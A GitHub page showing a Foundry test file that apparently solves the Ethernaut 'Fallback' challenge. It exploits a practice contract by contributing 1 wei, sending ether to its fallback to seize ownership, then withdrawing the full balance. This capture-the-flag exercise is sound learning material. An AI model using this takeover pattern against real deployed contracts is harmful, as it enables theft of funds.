-
Notifications
You must be signed in to change notification settings - Fork 115
/
Fallback.t.sol
39 lines (31 loc) · 1.04 KB
/
Fallback.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import { Fallback } from "../../src/2/Fallback.sol";
contract CounterTest is Test {
Fallback public _contract;
address owner;
address user = makeAddr('Rory');
function setUp() public {
owner = address(this);
_contract = new Fallback();
vm.deal(user, 1 ether);
}
function test_Fallback() public {
address o = _contract.owner();
console.log("Now Owner: ", o);
console.log("User: ", user);
vm.startPrank(user);
_contract.contribute{value: 1 wei}();
o = _contract.owner();
console.log("Now Owner: ", o);
(bool success,) = payable(address(_contract)).call{value: 1 wei}("");
require(success);
o = _contract.owner();
console.log("Now Owner: ", o);
_contract.withdraw();
assert(payable(address(_contract)).balance == 0);
//assert(ethernaut.submitLevelInstance(payable(levelAddress)));
vm.stopPrank();
}
}